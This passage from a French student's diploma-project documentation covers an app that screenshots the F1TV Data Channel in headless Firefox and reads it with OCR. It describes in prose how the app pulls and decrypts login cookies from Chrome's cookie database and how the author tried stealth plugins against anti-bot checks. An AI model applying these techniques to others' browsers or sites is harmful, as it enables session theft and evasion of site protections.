stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple. Diff\u00e9rences sur le cahier des charges [\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Planning pr\u00e9visionnel Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu : T\u00e2ches J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique : PT Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales. PT1 / pr\u00e9paration au travail de dipl\u00f4me (2) Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation et mise en place pour ne pas avoir besoin de s'en soucier ensuite. DT Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet. DT1 Cr\u00e9ation du poster (1) Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier. DT2 Documentation Analyse de l'existant (2) Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus. DT3 Documentation Analyse organique (5) Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps. DT4 Documentation Analyse fonctionnelle (2) Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application. DT5 Documentation Tests (1) Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation, DT6 Documentation Reste (2) Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien. PT Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application. PT1 Programmation r\u00e9cup\u00e9ration des images (3) Cette t\u00e2che est estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu. PT2 Programmation OCR (5) Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat. PT3 Programmation, stockage et mod\u00e8le (5) Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture. PT4 Programmation Vue de l'APP (5) Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le. PT5 Programmation mise en commun (3) Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours. TT Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re. TT1 Tests OCR (2) Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation. TT2 Tests finaux (2) Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9. Planning effectif et diff\u00e9rences [A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me] Analyse fonctionnelle [A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me] Analyse Organique Outils utilis\u00e9s [A Remplir] Technologies utilis\u00e9es Dans ce projet diff\u00e9rents choix ont \u00e9t\u00e9 faits pour ce qui est des technologies. Certaines ont \u00e9t\u00e9 choisies car elles \u00e9taient les plus simples, les plus pratiques, les plus efficaces ou encore les plus connues et donc ayant le meilleur support. Je vais tenter de r\u00e9sumer ici ces choix mais je reviendrai sur la plupart d'entre eux plus tard quand j'explique ce que je fais avec. Selenium \"Logo de selenium\" Selenium est une librairie \u00e0 la base Node JS qui permet d'automatiser des actions sur un navigateur internet. Le but premier et je pense son utilisation premi\u00e8re est l'automatisation de tests pour des applications WEB. En effet c'est un super outil pour simuler un user faisant un certain nombre d'actions sans apporter de variabilit\u00e9 ce qui fait de supers test unitaires. Cependant je pense que l'autre grande partie des utilisateurs de Selenium l'utilisent pour faire du \"Scrapping\". Et nous sommes un peu dans cette seconde cat\u00e9gorie. Le \"Scrapping\" c'est l'acte d'aller r\u00e9cup\u00e8rer des informations sur des pages web automatiquement pour alimenter sa propre base de donn\u00e9es. En effet, si on arrive \u00e0 passer les protections anti-bot on peut facilemnt utiliser Selenium pour scraper tous les sites qui nous passent par la t\u00eate. Le cahier des charges que j'avais en t\u00eate en cherchant une technologie de contr\u00f4le de navigateur internet \u00e9tait le suivant : Simple Permettant de contr\u00f4ler un navigateur Headless (Voir chapitre \"Simuler un navigateur ?\") Permettant de contr\u00f4ler firefox Ayant un wrapper C# Permettre de changer certaines choses comme les cookies en Live Permettre d'interagir avec les \u00e9l\u00e9ments d'une page Fonctionner Simple car je ne voulais pas avoir \u00e0 passer trop de temps dessus (ca n'a pas bien vieillit lol...). Je voulais que l'on puisse utiliser Firefox car il n'impl\u00e9mente pas les m\u00eames s\u00e9curit\u00e9es que Chrome pour faire simple. J'avais besoin que la lib puisse contr\u00f4ler un Firefox HEADLESS car je ne voulais pas avoir une page web ouvert sur mon ordi quand je commente car c'est de l'espace utilis\u00e9 pour rien. J'avais besoin d'un wrapper C# car c'est le language que j'utilise. Pour finir j'avais besoin d'interragir avec les \u00e9l\u00e9ments de la page pour naviguer dessus et d'ins\u00e8rer des cookies pour me connecter sans avoir \u00e0 passer par le login de la F1TV qui est tr\u00e8s bon pour detecter les bots. Avec un cahier des charges parreil beaucoup de librairies ont \u00e9t\u00e9 abandonn\u00e9es. J'ai pu tester pleins de librairies C# qui arrivaient \u00e0 contr\u00f4ler un Chrome et m\u00eame pas mal qui arrivaient \u00e0 contr\u00f4ler un Chrome Headless. Mais le choix est tr\u00e8s vite restreind quand on veut pouvoir contr\u00f4ler Chrome OU Firefox. A la base mon choix c'\u00e9tait port\u00e9 sur Puppeteer Sharp qui est une librairie qui se veut \u00eatre exactement ce que je veux. \"Logo de Pupeteer\" Je voulais utiliser cette librairie car il y a des plugins qui sont tr\u00e8s orient\u00e9s scrapping, en effet, ils impl\u00e9mentent de nombreuses techniques pour permettre de mieux passer innapercu par les syst\u00e8mes de detection de bots. Sur le papier c'est la librairie parfaite qui correspond parfaitement au cahier des charges que je m'\u00e9tais fix\u00e9 et je pense que si j'utilisais un projet JS elle le serait. Sauf que avec le wrapper C# j'ai eu un certain nombre de probl\u00e8mes: Toutes les versions de la librairie ne fonctionnaient pas. Il fallait faire des tests avec diff\u00e9rentes versions de la librairie et de ses d\u00e9pendences simplement pour faire d\u00e9marrer un browser. Et ca c'est quand ca marchait car il y avait des jours ou des machines ou je n'ai simplement pas pu faire fonctionner la librairie. M\u00eame avec les techniques propos\u00e9es par les plugins \"Stealth\" je n'arrivais pas \u00e0 bypass les s\u00e9curit\u00e9es de la page de login de la F1TV. J'ai essay\u00e9 tout ce que j'ai pu trouver sur internet mais on se fait toujours chopper d\u00e8s que l'on arrive sur la page. Et le pire de tout, impossible de faire fonctionner un vid\u00e9o. J'ai pu faire tout ce que je voulais faire au final en passant par l'utillisation de cookies pour la connexion. Tout ca pour arriver au moment ou il faut lancer la vid\u00e9o, et la, crash. Impossible de faire fonctionner Puppeteer Sharp avec une vid\u00e9o. D\u00e8s qu'elle se lance c'est un crash assur\u00e9 sans message d'erreur clair. Et le soucis c'est que le wrapper C# n'est pas vraiment bien support\u00e9 et que si c'est un bug de la lib je ne risque pas de voir de fix avant un moment si ce n'est jamais. Pour toutes ces raisons, j'ai du abandonner cette librairie ce qui a \u00e9t\u00e9 tr\u00e8s dur car j'avais pass\u00e9 beaucoup de temps dessus \u00e0 essayer de la faire marcher. Ensuite le choix de Selenium \u00e9tait plut\u00f4t simple, c'\u00e9tait la seule option restante. A ce jour je ne connait aucune autre librairie que Puppeteer ou Selenium qui puisse contr\u00f4ler un Firefox Headless en respectant mon cahier des charges et qui soit donc disponible depuis C#. Si je n'arrivais pas \u00e0 faire fonctionner Selenium j'aurai du abandonner l'id\u00e9e de simuler un navigateur tout simplement. Mais j'ai eu la chance que cette librairie fasse tout ce que je pouvais demander. C'est une super lib et m\u00eame si la version C# n'est vraiment pas bien document\u00e9e, la plupart des documentations de la version JS sont pertinentes pour al version C# m\u00eame si ca n'est pas la m\u00eame syntaxe. Pour r\u00e9sumer, j'ai choisis Puppeteer car c'\u00e9tait la seule option viable pour mon besoin. (Note : Par contre si je trouve la personne chez mozilla ou puppeteer qui a d\u00e9cid\u00e9 d'hardcoder la r\u00e9solution maximale du browser Headless que l'on peut override UNIQUEMENT en changeant les variables d'environnement de la machine ET DE NE LE DOCUMENTER QUASI NULLE PART JE JURE QUE CA VA TRES MAL SE PASSER) CSharp \"Logo C#\" Je pense que c'est le choix le plus simple \u00e0 expliquer. C# est un language de programmation orient\u00e9 objet relativement haut niveau qui a \u00e9t\u00e9 cr\u00e9\u00e9 par Microsoft et qui a comme cible le developpement d'applications pour Windows. (On peut evidemment trouver des adaptations pour le faire tourner sur Linux mais ce n'est pas vraiment le but du language) En plus d'\u00eatre un superbe language de programmation, c'est le language que l'on apprend au CFPT informatique. C'est donc un language avec lequel je suis beaucoup plus \u00e0 l'aise que pour d'autres languages comme le Python ou le JS. Mon but n'\u00e9tait pas de faire une application Web et je travaille sous Windows. Je savais que mon projet allait demander un minimum de programmation orient\u00e9e objet. J'ai donc imm\u00e9diattement pens\u00e9 \u00e0 utliser C#. Cependant j'aurais tr\u00e8s bien pu utiliser un language comme python qui m'aurait clairement facilit\u00e9 la t\u00e2che avec des librairies bien plus fournies et plus souvent mises \u00e0 jour. Mais comme je ne suis pas du tout aussi \u00e0 l'aise avec je pense que le C# \u00e9tait la meilleure option. Mes seuls regrets apr\u00e8s coup sont que je trouve les Windows Forms tr\u00e8s moches et qu'il est particuli\u00e8rement difficile de les rendres plus jolies et que les librairies disponibles en C# pour des sc\u00e9narios tr\u00e8s pr\u00e9cis ne sont pas au niveau de celles pour JS et pour Python. Cependant si j'avais \u00e0 refaire le projet je reprendrais C# je pense. Python? \"Logo Python\" Alors ce choix la est plus commpliqu\u00e9 \u00e0 comprendre. Pour tout le projet j'ai tent\u00e9 de garder le C# comme language et de ne pas utiliser autre chose. Cependant j'ai du utiliser une seule fois le Python dans un cas tr\u00e8s pr\u00e9cis. Je n'aime vraiment pas coder en python de base et clairement j'aurais pr\u00e9f\u00e8r\u00e9 ne pas l'utiliser mais je n'avais pas le choix. Le besoin dans le cas du python \u00e9tait le suivant : J'avais besoin d'un moyen de r\u00e9cup\u00e8rer des strings et les d\u00e9coder avec une cl\u00e9 encod\u00e9e avec le syst\u00e8me propri\u00e9taire de windows d'encodage. Le soucis que j'avais avec le C# c'est que les methodes de decryption ne fonctionnent pas pareil que en python et tous les exemples que je pouvais trouver \u00e9taient en python. J'ai essay\u00e9 pendant un sacr\u00e9 moment de faire fonctionner la decryption en C# mais sans succ\u00e8s. J'ai donc directement utilis\u00e9 le python comme faisait toutes les personnes que je pouvais voir sur internet et je pense que ca n'est pas une mauvaise id\u00e9e. En effet, cela veut dire que si \u00e0 un moment Chrome est mis \u00e0 jour, je n'aurai pas besoin d'aller ouvrir tout le code source de mon projet pour tout recompiler, j'aurai simplement besoin de changer ce script. Un des avantages du Python est quand m\u00eame qu'il y beaucoup plus de gens qui codent dessus, et pour ce genre d'utilisation tr\u00e8s sp\u00e9cifiques c'est plut\u00f4t pratique. Le seul probl\u00e8me c'est que cela oblige l'utilisateur \u00e0 avoir python install\u00e9 sur sa machine et que sa version doit \u00eatre compatible... (les joies de python) Firefox \"Logo Firefox Headless\" J'en parle deja plus bas, mais le choix de navigateur est super important. Deja tous les navigateurs n'ont pas un mode Headless(sans t\u00eate, mieux expliqu\u00e9 dans la rubrique \"Simuler un naviguateur ?\"). Par exemple, m\u00eame si Edge est maintenant bas\u00e9 sur chromium, il n'existe pas de moyen de le faire tourner en Headless pour le moment. Autre soucis, les librairies d'automatisation ne supportent pas tous les navigateurs. Par exemple, beaucoup supportent chrome mais tr\u00e8s peu supportent Firefox ou Edge. Donc il me fallait un navigateur qui puisse op\u00e8rer en Headless et qui soit support\u00e9 par plusieurs librairies d'automatisation. Il n'y a que Firefox et Chrome qui sont conforme \u00e0 ces exigeances (Je n'ai pas verifi\u00e9 pour TOUS les navigateurs. Peut-\u00eatre que les Opera GX ont aussi un mode headless super, mais je me suis concentr\u00e9 sur les navigateurs plus grand public). Chrome est support\u00e9 par plus de lib, mais le soucis c'est que la F1TV utilise un lecteur de vid\u00e9o avec DRM (Plus d'infos la dessus dans la partie \"Simuler un navigateur?\") et donc le choix \u00e9tait simple. Il ne restait que Firefox. Tesseract Je pense que le choix le plus simple apr\u00e8s le C# fut l'utilisation de Tesseract. C'est tout simplement l'outil le plus utilis\u00e9 pour faire de l'OCR. A la base c'est une lib Python (Ah tiens encore ?) qui peut \u00eatre redoutablement efficace avec le bon dataset. Il existe d'autres outils mais j'ai d\u00e9cid\u00e9 de prendre celui la \u00e0 cause de son support juste incroyable et de son omnipr\u00e9sence dans la documentation OCR. En plus il est facile \u00e0 utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet. Fonctionnement g\u00e9n\u00e9ral Avant de passer \u00e0 l'explication de chaques parties du projet en d\u00e9tail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une \u00e9tape vous serez conscient de \u00e0 quoi elle sert et ou elle s'\u00eenscrit dans le projet principal. Les briques principales Voici trois grosses \u00e9tapes du projet. Pour rappel ce sont des vulgarisations plut\u00f4t larges qui n'ont qu'un seul but, aider \u00e0 la compr\u00e9hension de ce qui vient par la suite. Recup\u00e9ration d'images \"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de r\u00e9cup\u00e8ration des images\" Pour faire simple on peut voir qu'il y a deux parties \u00e0 cette \u00e9tape. La premi\u00e8re en partant du haut repr\u00e9sente un script python qui va chercher des informations dans la base de donn\u00e9es de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion. Dans la seconde \u00e9tape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous int\u00e9resse et que une des infos que l'on r\u00e9cup\u00e8re est une image de la page en format PNG que l'on envoie au programme C#. Ces deux partie sont li\u00e9es car pour se connecter \u00e0 la F1TV Selenium a besoin des cookies de connexion r\u00e9cup\u00e8r\u00e9s par le programme Python. La premi\u00e8re partie est un processus qui n'est utilis\u00e9 qu'une seule fois au d\u00e9marrage tandis que la r\u00e9cup\u00e9ration d'images et en continu pendant toute la dur\u00e9e de l'utilisation de l'application. OCR \"Diagramme simplifi\u00e9 repr\u00e9sentant le processur d'OCR\" ; On peut voir dans ce diagramme simplifi\u00e9 qu'avec l'aide de ce que contient le fichier \"Config.JSON\" on d\u00e9coupe l'image que l'on a r\u00e9cup\u00e8r\u00e9 au pr\u00e9alable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en r\u00e9cup\u00e8re les informations sous forme de texte et on le renvoie dans le programme C# Dans cette partie explicative g\u00e9n\u00e9rale, on ne reviendra pas sur la cr\u00e9ation de ce fichier config. Pour plus d'infos \u00e0 son sujet voir la rubrique (OCR/Fonctionnement g\u00e9n\u00e9ral) Traitement et affichage \"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de traitement et d'affichage\" On peut voir dans ce dernier mini diagramme simplifi\u00e9 que on prend les donn\u00e9es que l'on r\u00e9cup\u00e8r\u00e9 de l'\u00e9tape pr\u00e9c\u00e9dente qui ne sont pas forc\u00e9ment toutes coh\u00e9rentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de donn\u00e9es SQLITE. Ensuite cette m\u00eame base de donn\u00e9e fournis les infos nescessaires pour des affichages (Ces affichages sont directements r\u00e9cup\u00e8r\u00e9s depuis le projet en cours de fonctionnement) R\u00e9sum\u00e9 du fonctionnement g\u00e9n\u00e9ral \"Diagramme simplif\u00e9 repr\u00e9sentant le processus g\u00e9n\u00e9ral du projet\" Ce dernier diagramme est un sch\u00e9ma fait pour repr\u00e9senter de la mani\u00e8re la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. La repr\u00e9sentation est un peu diff\u00e9rentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donn\u00e9e \u00e0 travers les couches Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture. Dans l'ordre, on peut voir que pour la partie r\u00e9cup\u00e8ration d'images, le python va r\u00e9cup\u00e8rer les cookies dans la base de donn\u00e9es chrome pour ensuite les retourner \u00e0 Selenium. Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies r\u00e9cup\u00e8r\u00e9s pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos \u00e0 Selenium. L'info qui nous int\u00e9resse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme. Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives donn\u00e9es par le fichier Config.JSON (il renseigne les zones \u00e0 d\u00e9couper et ce qu'elles repr\u00e9sentent) et apr\u00e8s le d\u00e9coupage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fen\u00eatres de donn\u00e9es par zone de pilote donc 180 fen\u00eatres en tout. Ces fen\u00eatres sont ensuite envoy\u00e9es pour \u00eatre filtr\u00e9es (retirer le flou, mettre en \u00e9vidence les caract\u00e8res, en gros les pr\u00e9parer pour la reconnaissance) dans la partie OCR Dans cette partie, apr\u00e8s avoir filtr\u00e9 les images, on les envoie \u00e0 Tesseract pour qu'il nous retourne des r\u00e9sultats d'OCR. Ces r\u00e9sultats sont ce que Tesseract a trouv\u00e9 sur les image et ils sont retourn\u00e9s sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....) Finalement ces donn\u00e9es ont envoy\u00e9es dans la partie traitement qui va faire des v\u00e9rifications d'usage pour s'assurer qu'elles sont correctes et quand c'est fait, tout est envoy\u00e9 dans une base de donn\u00e9es SQLITE. On ne montre pas non plus dans ce diagramme la parte affichage des donn\u00e9es car je ne trouve pas pertinent de l'inclure ici. Et voila c'est le fonctionnement tr\u00e8s g\u00e9n\u00e9ral et simplifi\u00e9 de l'application. Je vous invite \u00e0 continuer \u00e0 lire cette documentation pour des informations plus pr\u00e9cises \u00e0 propos de toutes ces \u00e9tapes. Bonne lecture ! R\u00e9cup\u00e9ration des images Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet. Comment faire ? Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en 